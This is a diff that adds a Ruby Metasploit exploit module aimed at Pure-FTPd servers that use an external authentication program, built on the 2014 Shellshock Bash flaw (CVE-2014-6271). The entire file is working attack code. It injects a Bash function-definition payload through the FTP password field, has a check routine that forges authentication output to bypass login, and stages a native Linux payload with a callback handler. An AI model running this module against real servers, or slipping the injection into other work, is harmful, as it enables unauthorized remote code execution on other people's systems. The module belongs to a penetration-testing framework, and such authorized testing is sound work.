|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit4 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Ftp |
| 12 | + include Msf::Exploit::CmdStager |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection', |
| 17 | + 'Description' => %q( |
| 18 | + This module exploits the code injection flaw known as shellshock which |
| 19 | + leverages specially crafted environment variables in Bash. This exploit |
| 20 | + specifically targets Pure-FTPd when configured to use an external |
| 21 | + program for authentication. |
| 22 | + ), |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Stephane Chazelas', # Vulnerability discovery |
| 26 | + 'Frank Denis', # Discovery of Pure-FTPd attack vector |
| 27 | + 'Spencer McIntyre' # Metasploit module |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + ['CVE', '2014-6271'], |
| 32 | + ['OSVDB', '112004'], |
| 33 | + ['EDB', '34765'], |
| 34 | + ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc'] |
| 35 | + ], |
| 36 | + 'Payload' => |
| 37 | + { |
| 38 | + 'DisableNops' => true, |
| 39 | + 'Space' => 2048 |
| 40 | + }, |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'Linux x86', |
| 44 | + { |
| 45 | + 'Platform' => 'linux', |
| 46 | + 'Arch' => ARCH_X86, |
| 47 | + 'CmdStagerFlavor' => :printf |
| 48 | + } |
| 49 | + ], |
| 50 | + [ 'Linux x86_64', |
| 51 | + { |
| 52 | + 'Platform' => 'linux', |
| 53 | + 'Arch' => ARCH_X86_64, |
| 54 | + 'CmdStagerFlavor' => :printf |
| 55 | + } |
| 56 | + ] |
| 57 | + ], |
| 58 | + 'DefaultOptions' => |
| 59 | + { |
| 60 | + 'PrependFork' => true |
| 61 | + }, |
| 62 | + 'DefaultTarget' => 0, |
| 63 | + 'DisclosureDate' => 'Sep 24 2014')) |
| 64 | + register_options( |
| 65 | + [ |
| 66 | + Opt::RPORT(21), |
| 67 | + OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']) |
| 68 | + ], self.class) |
| 69 | + deregister_options('FTPUSER', 'FTPPASS') |
| 70 | + end |
| 71 | + |
| 72 | + def check |
| 73 | + # this check method tries to use the vulnerability to bypass the login |
| 74 | + username = rand_text_alphanumeric(rand(20) + 1) |
| 75 | + random_id = (rand(100) + 1) |
| 76 | + command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end" |
| 77 | + if send_command(username, command) =~ /^2\d\d ok./i |
| 78 | + return CheckCode::Safe if banner !~ /pure-ftpd/i |
| 79 | + disconnect |
| 80 | + |
| 81 | + command = "echo auth_ok:0; echo end" |
| 82 | + if send_command(username, command) =~ /^5\d\d login authentication failed/i |
| 83 | + return CheckCode::Vulnerable |
| 84 | + end |
| 85 | + end |
| 86 | + disconnect |
| 87 | + |
| 88 | + CheckCode::Safe |
| 89 | + end |
| 90 | + |
| 91 | + def execute_command(cmd, _opts) |
| 92 | + cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") |
| 93 | + username = rand_text_alphanumeric(rand(20) + 1) |
| 94 | + send_command(username, cmd) |
| 95 | + end |
| 96 | + |
| 97 | + def exploit |
| 98 | + # Cannot use generic/shell_reverse_tcp inside an elf |
| 99 | + # Checking before proceeds |
| 100 | + if generate_payload_exe.blank? |
| 101 | + fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload") |
| 102 | + end |
| 103 | + |
| 104 | + execute_cmdstager(linemax: 500) |
| 105 | + handler |
| 106 | + end |
| 107 | + |
| 108 | + def send_command(username, cmd) |
| 109 | + cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\"" |
| 110 | + connect |
| 111 | + send_user(username) |
| 112 | + password_result = send_pass(cmd) |
| 113 | + disconnect |
| 114 | + password_result |
| 115 | + end |
| 116 | +end |
0 commit comments